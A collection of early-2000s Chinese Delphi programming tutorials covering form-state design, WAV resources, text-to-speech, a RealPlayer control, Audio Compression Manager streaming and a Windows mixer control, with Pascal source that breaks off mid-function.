另一个重点是本范例对状态的设计跟Delphi的 Dataset的状态相似，所以直接使用TTable的状态而不另行设计维謢，请参考TfmSingleBase的RefreshButton程序，但您是否有个疑惑？其中的Ftable由哪里来的呢？再请您参看Class体系中的TfmSingleBase，它并不知道TdmCust的Table，因此我们使用Abstract Factory样式[1]定义了一个虚拟的 SetTable介面，其只有介面而没有程式码，然后由其继承者 TfmCust来实作。

TfmSingleBase的FormKeyDown设计，是想让使用者在编辑时每一个栏位按下Enter键会自动跳到下一个可以输入的栏位上，就好象按TAB键一样。在这个程序内我使用了PostMessage API，但不知道各位读者有没有注意到在RefreshButton 程序内有一个Perform 函数也有异曲同工之妙。在这一段程式码里，是因为在编辑状态下，keyboard的Focus能自动的设定到可编辑栏位的第一个Edit Control去；但TfmSingleBase这个Parent怎会知道TfmCust这个Child的第一个Edit Control会叫什么名字？所以就先SetFocus到所有编辑区的Parent，ScrollBox，名叫sbEdit，然后再Perform一个Next Control的Window 讯息就可以了。至于Perform与PostMessage的差异是Perform跳过windows的讯息 Queue而直接由Delphi送到Control的视窗程序。这两个函数，各位读者可以依需要自由选用其一。

重用(reuse)的方法有很多，本范例是利用Delphi的Form 继承能力来重用TfmSingleBase的设计与程式码。当然我们可以使用Copy的方式来做特别的设计，但Delphi更强的地方在于Open Tool API介面，可以把本范利所设计的Class体系以极佳的形式表现出来。这不但可加快程式的制作速度，对标准化的建立也有很大助益。

结语

我们看待状态图的方式是将它视为一个有趣的设计工具，因为Form的操作在使用者无法预期的行为下(Event Driven)，造成了相当高的复杂度。虽然不必每一个类别都要去实作它，但在复杂的类别或至少在交易性的Form设计上可以善加运用它。期待您也能一起来欣赏物件的动态美！n

附表：Delphi原始程式

unit cust;

interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, sglbase, DBCtrls, StdCtrls, ExtCtrls, Mask;

type TfmCust = class(TfmSingleBase)

Label1: TLabel; Label2: TLabel;

Label3: TLabel; Label4: TLabel;

Label5: TLabel; Label6: TLabel;

Label7: TLabel; Label8: TLabel;

Label9: TLabel;

EditAddr: TDBEdit; EditCode: TDBEdit;

EditSName: TDBEdit;

EditName: TDBEdit; EditArea: TDBEdit;

EditTel: TDBEdit; EditTel2: TDBEdit;

EditUniCode: TDBEdit;

EditAddr2: TDBEdit; DBEdit1: TDBEdit;

Label11: TLabel; Label12: TLabel;

DBEdit2: TDBEdit; Label13: TLabel;

DBEdit3: TDBEdit;

dbgTax: TDBRadioGroup;

procedure FormCreate(Sender: TObject);

private { Private declarations }

procedure SetTable; override;

protected

public { Public declarations }

end;

var fmCust: TfmCust;

implementation

uses dcust;

{$R *.DFM}

procedure fmCust.FormCreate(Sender: TObject);

begin

inherited;

dmCust := TdmCust.Create(Self);

end;

procedure TfmCust.SetTable;

begin FTable := dmCust.Table; end;

end.

unit dcust;

interface uses SysUtils, Windows, Classes, Graphics, Controls, Forms, Dialogs, DB, DBTables, DBGrids;

type TdmCust = class(TDataModule)

dsCust: TDataSource; tCust: TTable;

tCustCode: TStringField;

tCustSName: TStringField;

tCustName: TStringField;

tCustTelCo: TStringField;

tCustTelFactor: TStringField;

tCustFax: TStringField;

tCustBeeper: TStringField;

tCustCharger: TStringField;

tCustContactor: TStringField;

tCustUniCode: TStringField;

tCustTaxType: TStringField;

tCustAddrCo: TStringField;

tCustAddrFactor: TStringField;

procedure DataModuleCreate(Sender: TObject);

private { private declarations }

public { public declarations }

property Table: TTable read tCust;

end;

var dmCust: TdmCust;

implementation

{$R *.DFM}

procedureTdmCust.DataModuleCreate(

Sender: TObject);

begin tCust.Open; end;

end.

unit sglbase;

interface uses SysUtils, Windows, Messages, Classes, Graphics, Controls, StdCtrls, Forms, DBCtrls, DB, DBTables, Grids, DBGrids, Mask, ExtCtrls, Dialogs;

type TfmSingleBase = class(TForm)

sbEdit: TScrollBox; Panel1: TPanel;

pEdit: TPanel; pAction: TPanel;

bAdd: TButton; bUpdate: TButton;

bDelete: TButton; bCommit: TButton;

bQuit: TButton; bPrint: TButton;

bQuery: TButton; bExit: TButton;

procedure DoAction(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormKeyDown(Sender:

TObject; var Key: Word; Shift:

TShiftState);

procedure FormActivate(Sender:

TObject);

private { private declarations }

protected {FPrint: TfmPrintBase;}

FActBtns: array[0..9] of TButton;

FTable: TTable;

procedure SetTable; virtual; abstract;

procedure RefreshButton;

public { public declarations }

end;

var fmSingleBase: TfmSingleBase;

implementation

{$R *.DFM}

procedureTfmSingleBase.DoAction(

Sender: TObject);

begin

case TButton(Sender).Tag of

0: FTable.Append; 1: FTable.Edit;

2: FTable.Delete; 3: FTable.Post;

4: FTable.Cancel;

5: ; // Print Procedure call

6: ; // Search Preocedure call

7: begin

FTable.Cancel; Self.Close;

end;

end;

RefreshButton;

end;

procedure fmSingleBase.RefreshButton;

var ii: integer;

begin

sbEdit.Enabled := False;

case FTable.State of dsInsert, dsEdit:

begin

for ii:=0 to High(FActBtns)-1 do

begin

if FActBtns[ii] = Nil then Break;

FActBtns[ii].Enabled := False;

end;

FActBtns[3].Enabled := True;

FActBtns[4].Enabled := True;

sbEdit.Enabled := True;

sbEdit.SetFocus;

self.Perform(WM_NEXTDLGCTL, 0, 0);

end;

dsBrowse:

begin

for ii:=0 to High(FActBtns)-1 do

begin

if FActBtns[ii] = Nil then Break;

FActBtns[ii].Enabled := True;

end;

FActBtns[3].Enabled := False;

FActBtns[4].Enabled := False;

end; end; end;

procedureTfmSingleBase.FormCreate(

Sender: TObject);

var ii, tt, ll, ww: integer;

begin

FActBtns[0] := bAdd;

FActBtns[1] := bUpdate;

FActBtns[2] := bDelete;

FActBtns[3] := bCommit;

FActBtns[4] := bQuit;

FActBtns[5] := bPrint;

FActBtns[6] := bQuery;

FActBtns[7] := bExit;

FActBtns[8] := Nil;

tt := FActBtns[0].Top;

ww := FActBtns[0].Width;

ll := FActBtns[0].Left + ww;

FActBtns[0].TabStop := False;

for ii:=1 to High(FActBtns)-1 do

begin

if FActBtns[ii] = Nil then Break;

FActBtns[ii].Tag := ii;

FActBtns[ii].TabStop := False;

FActBtns[ii].Top := tt;

FActBtns[ii].Left := ll;

FActBtns[ii].OnClick := DoAction;

ll := ll + ww;

end; end;

procedureTfmSingleBase.

FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

case Key of VK_RETURN:

begin

if (ActiveControl is TDBEdit) or

(ActiveControl is TEdit) or ActiveControl is TDBRadioGroup) or

(ActiveControl is TRadioButton) then PostMessage(Self.Handle, WM_NEXTDLGCTL, 0, 0)

end;

VK_ESCAPE:

DoAction(FActBtns[4]);

end; end;

procedure fmSingleBase.FormActivate(

Sender: TObject);

begin

SetTable; // Factory Method

RefreshButton;

end; end.


如何将Wav文件做到EXE文件里

1)编写.RC文件

..RC文件是资源的源文件，编译器也就编译这个文件，生成.RES的资源文件
首先在我们的项目子目录中建立一个纯文本文件，起名叫Sound.rc，文件中
有一行，内容为：

SOUND1 WAV SOUND.WAV

其中SOUND.WAV为一个Windows下普通的声音文件

2)编译它

在DOS的提示符下打 BRCC SOUND.RC 硬盘哗啦啦转一会儿后，就编译完了

3)制作程序

这也是最复杂，最灵活的一步，首先启动Windows, 再启动Delphi， 并且将项目
中的文件保存到我们的项目中的子目录中。 在Unit1.pas中找这么一行

{$R *.DFM}

把我们的资源文件就声明在后面

{$R SOUND.RES}

然后，在Form1中声明两个全局变量

PtrSound : PChar;
hRes : THandle; {handle to the loaded resource
if 0 indicates nothing playing}

再在Form1的Create事件中写下如下代码

procedure TForm1.FormCreate(Sender: TObject);
var hResInfo : THandle;
begin
hResInfo := FindResource(HInstance, 'SOUND1', 'WAVE');
hRes :=
LoadResource(HInstance, hResInfo);
if hRes > 32 then {its a good load}
begin {lock the resource}
ptrSound:=LockResource(hRes);
end;
end;

然后在Form1中放一个按钮Button1，写如下代码：

procedure TForm1.Button1Click(Sender: TObject);
begin
sndplaysound(ptrSound,snd_async or snd_Memory);
end;


在程序中加入英文朗读功能

华 中 师 范 大 学 卢 小 海(flier@126.com)

---- 金 山 词 霸2000 的 英 文 全 文 朗 读 功 能 相 信 一 定 给 尝 试 过 的 用 户 留 下 了 很 深 刻 的 印 象， 而 作 为 一 个 程 序 设 计 者， 你 一 定 也 想 在 自 己 的 程 序 中 加 入 类 似 的 功 能 吧， 因 为 那 将 让 自 己 的 程 序 增 色 不 少。

----其 实 这 并 不 是 一 件 困 难 的 事， 因 为 金 山 词 霸 实 际 上 也 只 是 直 接 使 用 了MS 的TTS（Text －to －Speech） 技 术 而 已， 通 过 对MS Speech API 的 编 程， 我 们 完 全 可 以 实 现 比 其 更 强 大 的 功 能。 下 面， 让 我 们 在Delphi 环 境 下 实 际 尝 试 一 下。

----首 先 从 金 山 词 霸 的 光 盘 上\ciba 目 录 下 运 行 并 安 装mstts.exe(MS TTS engine) 和spchapi.exe(MS Speech API)。

----再 在Delphi 里 新 建 一 个Application。

----然 后 从Delphi 的 菜 单Project/Import Type Library... 中 选 击Add...， 浏 览 到Windows 目 录 下 的Speech 子 目 录 里， 打 开vtxtauto.tlb， 可 以 看 到 下 面Class names 中 会 出 现 我 们 需 要 的 接 口 的 包 装 类 的 名 字TVTxtAuto， 注 意 对 话 框 底 部 的Generate Component Wrapper 需 要 被 选 中， 点 击Create Unit 就 可 以 打 开 一 个 名 为VTxtAuto_TLB 的Unit。

----至 此， 我 们 就 可 以 开 始 实 际 编 程 了。

----首 先 在Form 的OnCreate 中 对 需 要 使 用 接 口 初 始 化 并 进 行 注 册：

...

procedure TfrmMain.FormCreate(Sender: TObject);

begin

FISpeech := CoVTxtAuto_.Create;

FISpeech.Register(‘Demo Site', ‘Demo App');

end;

...

----由 于Delphi 对 接 口 进 行 了 良 好 的 包 装， 因 此 只 需 直 接 建 立 包 装 类， 其 他 后 台 的 操 作 如 接 口 的 查 询、 释 放 等 交 给Delphi 在 后 台 自 动 完 成。

----注 意 这 里 的Register 操 作 是 必 不 可 少 的， 因 为 可 能 有 多 个 程 序 不 同 设 置 使 用TTS 引 擎。

----然 后 在MainForm 上 放 一 个TMemo 和 若 干 个 TButton， 并 在 其OnClick 中 加 入 对 应 的 代 码。

Form 定 义 如 下：

object frmMain: TfrmMain

Left = 296

Top = 187

BorderStyle = bsDialog

Caption = ‘ 英 文 全 文 朗 读 演 示'

ClientHeight = 185

ClientWidth = 456

Color = clBtnFace

Font.Charset = GB2312_CHARSET

Font.Color = clWindowText

Font.Height = －12

Font.Name = ‘ 宋 体'

Font.Style = []

OldCreateOrder = False

Position = poDesktopCenter

OnCreate = FormCreate

PixelsPerInch = 96

TextHeight = 12

object memText: TMemo

Left = 8

Top = 8

Width = 361

Height = 169

ScrollBars = ssVertical

TabOrder = 0

end

object btnRead: TButton

Left = 376

Top = 8

Width = 75

Height = 25

Caption = ‘ 朗 读( ＆R)'

TabOrder = 1

OnClick = btnReadClick

end

object btnPause: TButton

Left = 376

Top = 40

Width = 75

Height = 25

Caption = ‘ 暂 停( ＆P)'

Enabled = False

TabOrder = 2

OnClick = btnPauseClick

end

object btnStop: TButton

Left = 376

Top = 72

Width = 75

Height = 25

Caption = ‘ 停 止( ＆S)'

Enabled = False

TabOrder = 3

OnClick = btnStopClick

end

object btnForward: TButton

Left = 376

Top = 120

Width = 75

Height = 25

Caption = ‘ 下 一 句( ＆N)'

Enabled = False

TabOrder = 4

OnClick = btnForwardClick

end

object btnRewind: TButton

Left = 376

Top = 152

Width = 75

Height = 25

Caption = ‘ 上 一 句( ＆W)'

Enabled = False

TabOrder = 5

OnClick = btnRewindClick

end

end

----关 键 代 码 段 如 下：

---- 1. 朗 读 与 停 止

...

procedure TfrmMain.btnReadClick(Sender: TObject);

begin

FISpeech.Speak(memText.Lines.Text, vtxtst_

READING);

btnPause.Enabled := True;

btnStop.Enabled := True;

end;

procedure TfrmMain.btnStopClick(Sender: TObject);

begin

FISpeech.StopSpeaking;

btnPause.Enabled := False;

btnStop.Enabled := False;

btnPause.Caption := ‘ 暂 停( ＆P)';

end;

...

----Speak 成 员 函 数 的 第 一 个 参 数 向TTS 引 擎 传 递 需 要 朗 读 的 文 字， 第 二 个 参 数 由 指 定 朗 读 时 使 用 的 语 气 和 优 先 级 的 两 个 符 号 合 并 而 成。

---- 2. 暂 停 与 恢 复

...

procedure TfrmMain.btnPauseClick(Sender: TObject);

begin

with FISpeech do

if IsSpeaking then

begin

AudioPause;

btnPause.Caption := ‘ 恢 复( ＆R)';

end

else

begin

AudioResume;

btnPause.Caption := ‘ 暂 停( ＆P)';

end;

end;

...

----这 里 通 过IsSpeaking 属 性 可 以 取 得 当 前 状 态， 然 后 通 过AudioPause 和AudioResume 暂 停 和 恢 复 朗 读。

----另 外 用 成 员 函 数AudioFastForward 和AudioRewind 可 以 向 前 和 后 跳 过 一 句 朗 读， 通 过 读 写Speed 属 性 还 可 以 取 得 或 设 置 朗 读 的 语 速， 单 位 是 字/ 分， 缺 省 值 为170。

----注 意Speed 和Enabled 属 性 缺 省 设 置 是 只 写 的， 但 实 际 上IVTxtAuto 提 供 了Get_Speed 和Get_Enabled 函 数， 所 以 我 们 只 要 把VTxtAuto_TLB 单 元 中 的 声 明 修 改 一 下， 如:

...

IVTxtAuto = interface(IDispatch)

...

property Speed: Integer read Get_Speed write Set_Speed;

property Enabled: Integer read Get_Enabled write Set_Enabled;

...

end;

...

----即 可 正 常 使 用Speed 和Enabled 属 性 了。

----至 此， 一 个 简 单 的 英 文 全 文 朗 读 器 就 完 成 了， 有 兴 趣 的 朋 友 可 以 为 其 加 入 监 视 剪 贴 板， 热 键 激 活 等 功 能。


打造RealPlayer播放器

 如今RealPlayer的流式媒体文件以其强大的视频压缩比正逐步悄然兴起。RealPlayer Plus播放器也理所当然地成为大家播放RealPlayer格式文件的首选软件。不过RealPlayer Plus也不是十全十美的，比如启动时间慢，占用空间大，留有历史纪录等等。其实我们可以利用Delphi打造一个完全符合自己要求的RealPlayer播放器。下面我将向大家介绍如何利用Delphi来帮助你实现这一愿望。
前提：你的机器中必须装有RealPlayer Plus播放器，因为我们要用到其自带的ActiveX控件。
首先，我们要在Delphi中导入所需的ActiveX控件。点击菜单“component->Import ActiveX Control...”打开“Import ActiveX”对话框，在“Import ActiveX”列表框中，我们可以看到Windows中所有注册的AxctiveX控件。选择其中的“RealPlayer ActiveX Control Library(Version 1.0)”控件。然后单击“Install”按钮。
回到Delphi主界面，你会发现在VCL面板中的ActiveX标签中增加了一个名为RealAudio的组件。我们先把它放入窗体中。不过在默认情况中RealAudio组件没有视频播放窗口，也就是只能播放声音。这是我们不愿看到的，这时我们可以在RealAudio组件的Controls属性中添加如下代码：
IMAGEWINDOW,CONTROLPANEL,STATUSBAR
其中：IMAGEWINDOW、CONTROLPANEL、STATUSBAR分别表示显示视频播放窗口、控制条状态条。
添加代码后，我们可以发现控件外观已经改变成了视频播放窗口形状。然后设置Align属性为alClient，使播放窗口可以随窗体的变化而变化，方便大家在观看影视动画时可以随意拉动播放窗口大小。
然后再在窗体中加入TMainMenu组件、TOpenDialog组件各一个。用于选择并打开播放影视文件。双击TMainMenu组件，进入菜单设计器。在这里我们要设计一个菜单项File，及其2个子菜单Open、Exit。设计完毕后，双击Open添加如下代码：

if OpenDialog1.Execute then
begin
RealAudio1.source:=OpenDialog1.FileName;
RealAudio1.doplay; //打开并启动播放器
End;

双击Open添加如下代码：
Application.terminate; //终止程序运行
为了在打开一个文件时，便于用户选择文件，要将OpenDialog组件的Filter属性设置如下：所有媒体文件(*.rm,*.ram,*.ra,*.swf,*.mp3)|*.rm;*.ram;*.ra;*.swf;*.mp3|*.*|*.*。
最后就可以进行编译、运行了。此程序在win Me／Delphi5.0下调试通过。大家如有任何疑问，可以和我联系：tjyihui@sohu.com。
投稿人：一辉　投稿日期：2001-6-16 11:17:00


在Internet上传递声音

－使用audio compression manager（acm）

作者／peter morris　 翻译／hubdog

    在几年以前ip电话被炒的沸沸扬扬，但用过的人都觉得这个技术非常不成熟，语音质量很差，时断时续，还经常有延迟，结果这项技术的应用没有普及开来。但随着internet应用的越来越广泛以及相关技术发展的日新月异，声音质量不断提高，通过internet打电话早已不再是梦想，已经成为了我们生活中的一部分。今天我使用ip电话打长途，每分钟只需要3毛钱，使用oicq的语音聊天，网友仿佛就在你的身边。如果我们的带宽足够的，我们甚至还可以在网上收看quicktime视频直播，用realaudio收听电台广播，也可以点播好听的mp3歌曲。不过对于程序员来说，更好的消息是我们对于这些媒体流的编程也也变得越来越容易。为什么这么说呢，下面让我们先来了解一下codec。

codecs

    什么是codecs？其实它就是音频压缩的解码编码器，实际上有点类似activex控件。activex控件使程序员可以调用一些他人实现好的功能而无需从头做起。codecs提供了类似的功能，只不过它集中在提供如何对媒体格式进行转换的功能。例如，如果想写一个把cd转mp3的应用程序，我们只需要做下列工作：

l 从cd音轨中读取数据。

l 生成一个有效的mp3文件头。

l 调用相应的codec把音轨数据编码为mp3。

windows本身已经带了很多的codec。下面是其中几个的说明：

名称 | 名称
pcm | 用于生成windows标准声音格式。大多数codec支持的声音格式都可以和它相互转化。
gsm | 好像用于某些移动电话网络。
dsp truespeech | 可以生成一种一位的声音格式用于语音通话－声音非常清楚。
fraunhoffer iis mp3 | 这种可以用来生成mp3格式。

    当前安装的codec的完整列表可以通过察看控制面板中多媒体的部分来获得。

acm api

    acm是"audio compression manager"缩写，翻译过来就是声音压缩管理器。它是微软编写的用于调用codec功能的接口函数库。它本来应该声明在mmsystem.pas单元中，但是由于某些原因borland把它给省略了。所以我们要作的第一件事是找到它的api声明单元msacm.pas。必须要感谢francois piette,他共享了他转换的单元文件，我们可以从www.delphi-jedi.org下载它。

    使用acm转换媒体格式包括以下几步:

    l 首先必须指定输入输出格式，我们需要设定twaveformatex记录, 但是这个结构记录太小无法容纳大多数codec所需要的信息。为了解决这个问题，我们使用一个自定义的 tacmformat记录，这个记录在twaveformatex的基础上增加了128字节。

    l 打开一个acm流。首先调用acmstreamopen函数，把输入输出格式作为参数传递过去。然后acm或者返回一个有效的句柄或者返回一个错误代码（比如acmerr_notpossible）来表明转换的请求无法完成。

    l 接下来要确定输出缓冲区的大小。调用acmstreamsize函数会通知acm每次我们将生成多少字节的数据，然后函数会返回请求大小的缓冲区(我们总是应该高估一下大小，保证提供一个足够大的缓冲区)。

    l 然后，我们要生成一个转换头。需要调用acmstreamprepareheader函数，把先前调用acmstreamopen函数返回的流句柄作为参数。生成的转换头会告诉acm源缓冲区和目的缓冲区的地址。acm不会自动分配内存，我们必须自己来申请内存。

    l 所有的准备工作基本上完成了，只剩下如何转换数据了。这是非常简单的，只需要调用acmstreamconvert函数。acmstreamconvert函数的参数包括流句柄和转换头句柄。这个函数通过设定转换头中的cbdstlengthused表明转换过程中真正被使用的字节数。

    l 一旦完成了acm的会话，我们必须释放使用的全部资源。转换头用acmstreamunprepareheader函数来释放，流用acmstreamclose来关闭。

选择格式

    正如前面提到的，在开始转换以前必须先设定输入输出格式。twaveformatex记录(声明在mmsystem.pas单元中)，它仅仅指定了比特率，频率等等。除非我们只打算在不同的pcm格式间进行转换，否则twaveformatex是不够用的。下面是它的替代格式：

tacmwaveformat = packed record

case integer of

0 : (format : twaveformatex);

1 : (rawdata : array[0..128] of byte);

end;

    这个变体记录使我们仍然可以读取twaveformatex结构数据，同时rawdata提供了足够的空间来容纳其它codec需要的额外信息。

    虽然我们不知道额外信息的大小，但我们可以使用acmformatchoose函数来获得。

    acmformatchoose函数只需要一个tacmformatchoosea类型的参数。这个参数是一个简单的结构可以包括下列信息：

成员 | 说明
pwfx | 一个twaveformatex结构指针用来接收结果（这里我们实际上用的是tacmformat）。
cbwfx | 接收结果的缓冲区大小。
cbstruct | 结构大小。

另一个值得一提的成员是fdwstyle, 它包括用来指定格式额外信息的标志。特别是下面这个标志：

acmformatchoose_stylef_inittowfxstruct

这个标志表明pwfx指向的缓冲区已经包括了一个有效的格式，当acmformatchoose函数调用后，会显示一个格式选择对话框，有效格式将显示为缺省值。

什么情况下无法转换?

一个原因就是一台机器上有的codec可能另一台机器上没有。这样导致了你可以读取一个声音格式，但无法生成这个声音格式。fraunhoffer iis mp3 codec就有这个问题。在windows 9x 和windows nt下，我们可以生成mp3文件，但在windows 2000却去掉了这一功能l，结果虽然在windows2000下我们可以听mp3，当我们无法生成mp3，除非我们交一笔钱，faint。

另一个原因是并非所有的acm格式可以相互转换。比如,我们无法在下面的格式间转化：

gsm 8位 单声道 > mp3 8位 单声道

虽然无法直接转换，但可以通过中间格式来间接转换，中间格式通常是pcm格式，这是因为绝大多数codec都支持pcm格式的转换。新的转换途径就变成了:

gsm 8位 单声道 > pcm 8位 单声道 > mp3 8位 单声道

而转换为"mp3 16位 立体声"还需要增加一步，就是把8位 pcm格式转换为16位pcm格式。

acm的潜在本领

可能从上面的介绍来看acm的功能很有限，仅仅是能把一个媒体格式转换为另一个媒体格式。不过一想到需要自己写一个可用于internet的声音流的编码解码器的工作量，比如mp3的压缩函数，你就会发现acm真的是个好东东，价格便宜量又足j。

同时想像一下有了acm我们实现一个internet电话是多么的简单，首先从麦克风获得输入的声音数据，压缩为一个合适的基于低带宽的流格式，然后通过tcp/ip协议传到目的计算机。同时，目的计算机接收压缩的数据，解压缩，最后通过扬声器播放出来。

acm的潜在本领就在这里，有相当多的acm codec是可映射为wave格式的，这就是说它们可以作为标准的波设备来实时的播放或记录音频。而网络电话的最主要的要求之一就是实时性。

比如，我们可以很容易的打开一个gsm的声音输入源，一旦我们从波输入设备接收到数据，数据就已经被压缩好了，可以立即传输。同时，一旦通过tcp/ip socket接收到了数据，我们马上可以通过波输出设备播放之。

要注意标准的pcm格式数据对于通过modem实现实时的语音传输来说实在是太大了，而gsm 6.1只要1.5k/秒就可以达到实时的效果，而16位单声道的mp3 也仅仅需要2k/秒的带宽。

另外对于mp3格式来说，它可以作为一个播放格式，但它不适合作为输入格式（因为只有windows nt平台上的mp3 codec才支持mp3的编码），通常我们需要用其它程序手工转换生成mp3,所以它不适合应用在网络电话上,不过它是非常适合于网络点播的，因为它的压缩比高，而且音质失真少。

原理就是象上面描述的那样简单，但很多事情总是说起来容易，做起来难。所以，下面实现了几个控件和程序来实际的演示一下。由于代码比较长，这里就不详细列出来了，只简单的说明一下。

控件

l tacmconverter:这个控件有两个作用。第一，它可以在两个不同媒体格式间转化数据。第二，这个控件可以用来指定acm流的输入输出格式。(用右键调出控件的控件编辑器可以在设计时调用acmformatchoose函数显示格式选择对话框来指定格式)。

l tacmin:用来从麦克风接收数据，我们使用标准的pcm格式或其它波输入设备支持的格式来记录数据。

l tacmout:这个控件是用来回放声音的。numbuffers属性可以用来指定开始播放前使用的缓冲区数。这对于实时音频传输意义不大，但对于在internet上音频广播却是很方便，同时当连接数据波动时可以缓冲额外的音频数据。

演示：本文还有两个例子可以到www.csdn.net下载


用Delphi编写Audio Mixer Control

Windows95下的 Volume Control（音量控制器）是一个很常用的小程序。但控制器太多摆不下，而且回放和录音之间要经常切换，很不方便。一些朋友编写多媒体播放器，是否想过加个内置混音器呢？你有没有想过自己编写混音器程序呢？下面具体的编写方法。

一、混音器的结构

首先简单介绍混音器的结构。混音器由多个destination（目的单元）组成，如Playback(回放)、Recording(录音)、Voice command(语音命令)等等。 而每个destination又由多个Connections(连接设备), 如回放下有CD Audio、MIDI 、Wave等等。每条 Connection 联系着一个或以上的Control(控制器)。Control是混音器的关键,有Volume Control(音量控制器)、Mute Control(静音控制器)、Meter Control(仪表控制器)等等。

以下是Mixer 的结构及调用的函数

Mixer (mixerGetNumDevs返回mixer 的个数, 后要用Mixeropen打开混音器)

|

Destinations (destinations should be for example: Playback, Recording and Voice commands)

* | (The number of destinations return by mixerGetDevCaps)

* |--Destination[0] (调用 mixerGetLineInfo 取得Destination连接的Connections和Controls)

* | |

* | |--Controls (controls of the line, ex: Master volume, master mute)

* | | | (调用MixerGetLineControls 取得 Controls)

* | | |--Control[0]

* | | |--Control[1]

* | | |--Control[..]

* | |

* | |--Connections (ex: Wave, MIDI, CD Audio, Line-In,...)

* | |

* | |--Connection[0]

* | | |--Controls (here can be volume and mute)

* | | | (调用MixerGetLineControls 取得 Controls)

* | | |--Control[0] (ex:Wave Volume)

* | | |--Control[1] (ex:Wave Mute)

* | | |--Control[..] (ex:Wave Meter)

* | |

* | |--Connection[1]

* | |--Connection[..]

* |

* |--Destination[1]

* |--Destination[..]

一步一步的先后取得Destinations、Connections，但最终的目的是取得各种的Controls,

以后的音量、静音的控制都要调用Controls。所以要保存Controls的数据。本程序用一
个三维的动态数组保存Controls。方便以后调用。

二、本程序的函数的作用

getvolume 取得音量， setvolume设置音量；

getmute取得设备是否静音， setmute是设备静音。

Getpeak取得设备的peak(振幅)

五个程序都是填写Tmixercontroldetails类型调用 mixergetcontroldetails,mixersetcontroldetails。

三、关于mixer 的message及Callback Function

Mixer 提供

MM_MIXM_CONTROL_CHANGE

MM_MIXM_LINE_CHANGE

两个message要在调用 mixeropen 设置Callback Function

unit Unit2;

//Written by David Jiang(江天送)

//july 25th. 1999

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls,

Forms, Dialogs,StdCtrls, ComCtrls, mmsystem, Buttons, ExtCtrls;

type Tvolume=record

left,right:word;

end;

type

TForm2 = class(TForm)

Lines: TComboBox;

Controls: TComboBox;

Label1: TLabel;

lmute: TLabel;

lmeter: TLabel;

LVolume: TTrackBar;

Rvolume: TTrackBar;

cmute: TCheckBox;

CheckBox1: TCheckBox;

About: TSpeedButton;

BExit: TSpeedButton;

RProgressBar: TProgressBar;

Timer1: TTimer;

procedure FormCreate(Sender: TObject);

procedure getlinecontrol;

procedure LinesChange(Sender: TObject);

procedure ControlsChange(Sender: TObject);

procedure LVolumeChange(Sender: TObject);

procedure cmuteClick(Sender: TObject);

procedure RvolumeChange(Sender: TObject);

procedure AboutClick(Sender: TObject);

procedure BExitClick(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure FormClose(Sender: TObject; var

Action: TCloseAction);

private

{ Private declarations }

procedure mmixer(var msg:Tmessage);

public

{ Public declarations }

end;

function getvolume(control:Pmixercontrol;var

volume:Tvolume):boolean;

function setvolume(control:Pmixercontrol;

volume:Tvolume):boolean;

function setmute(control:Pmixercontrol;

mute:integer):boolean;

function getmute(control:Pmixercontrol;var

mute:integer):boolean;

function getpeak(control:Pmixercontrol;var

peak:integer):boolean;

procedure Fillstruct(control:Pmixercontrol;var

Cdetails:Tmixercontroldetails);

var

Form2: TForm2;

fmixerhandle:hmixer; //混音器的句柄

mcontrols:array of array of array of PMixerControl;

line:array of Tstringlist;

peaknum:integer; //meter mcontrols的位置

implementation

{$R *.DFM}

procedure Tform2.mmixer(var msg:Tmessage);

var

volume:Tvolume;

mute:integer;

begin

if msg.Msg=MM_MIXM_CONTROL_CHANGE then

begin

if mcontrolS[lines.itemindex][controls.itemindex]

[0].dwcontrolID=msg.LParam then

if getvolume(mcontrolS[lines.itemindex]

[controls.itemindex][0],volume) then

begin

Rvolume.Position :=-volume.right;

Lvolume.Position :=-volume.left;

end;

if mcontrolS[lines.itemindex][controls.itemindex]

[1].dwcontrolid=msg.LParam then

if getmute(mcontrolS[lines.itemindex]

[controls.itemindex][1],mute) then

cmute.Checked:=mute=1;

end;

end;

procedure TForm2.FormCreate(Sender: TObject);

begin

getlinecontrol;

lines.ItemIndex :=0;

controls.Items:=line[lines.ItemIndex];

controls.ItemIndex :=0;

controls.OnChange (sender);

end;

procedure Tform2.getlinecontrol;

var

mixerID:integer; //混音器的ID

FMixerCaps:TMixerCaps;

n,j,k,i:integer;

ml,ml2:TMIXERLINE;

MLC:TMixerLineControls;

P:PMixerControl;

begin

if mixerGetNumDevs=0 then exit; //如没有混合器装置，退出

fmixerhandle:=0;

mixerID:=0;

mixerOpen (@FMixerHandle,mixerID,AllocateHWnd(mmixer),

0,CALLBACK_WINDOW OR MIXER_OBJECTF_MIXER);

//打开混音器

mixerGetDevCaps (mixerID,@FMixerCaps,SizeOf (TMixerCaps));

//返回混音器的兼容性

setlength(line,fmixercaps.cDestinations);

setlength(mcontrols,fmixercaps.cDestinations );

for i:=0 to fmixercaps.cDestinations-1 do

begin

ml.dwDestination:=i;

ml.cbStruct :=sizeof(tMIXERLINE);

mixerGetLineInfo(fmixerhandle,@ml,

MIXER_GETLINEINFOF_DESTINATION);

//取得混音器的Destinations

line[i]:=tstringlist.Create ;

setlength(mcontrols[i],ml.cconnections);

n:=0;

if ml.cControls>1 then

begin

n:=1;

setlength(mcontrols[i],ml.cconnections+1);

MLC.cbStruct:=SizeOf(MLC);

MLC.dwLineID:=ml.dwLineID;

MLC.cControls:=ml.cControls;

MLC.cbmxctrl:=SizeOf(TMixerControl);

GetMem (P,SizeOf(TMixerControl)*ml.cControls);

MLC.pamxctrl:=P;

MixerGetLineControls(fMixerHandle,@MLC,

MIXER_GETLINECONTROLSF_ALL);

setlength(mcontrols[i][0],ml.cControls);

line[i].Add(p^.szname); //Master Volume

For k:=0 to ml.cControls-1 do

begin

mcontrols[i][0][k]:=p;

mcontrols[i][0][0].Metrics.dwReserved[k+1]:=1;

inc(p);

end;

end;

lines.Items.Add(ml.szName);

ML2.cbStruct:=SizeOf(TMixerLine);

ML2.dwDestination:=ml.dwDestination ;

for j:=0 to ml.cConnections -1 do

begin

ML2.dwSource:=j;

MixerGetLineInfo (fmixerHandle,@ML2,

MIXER_GETLINEINFOF_SOURCE);

MLC.cbStruct:=SizeOf(MLC);

MLC.dwLineID:=ml2.dwLineID;

MLC.cControls:=ml2.cControls;

MLC.cbmxctrl:=SizeOf(TMixerControl);

GetMem (P,SizeOf(TMixerControl)*ml2.cControls);

MLC.pamxctrl:=P;

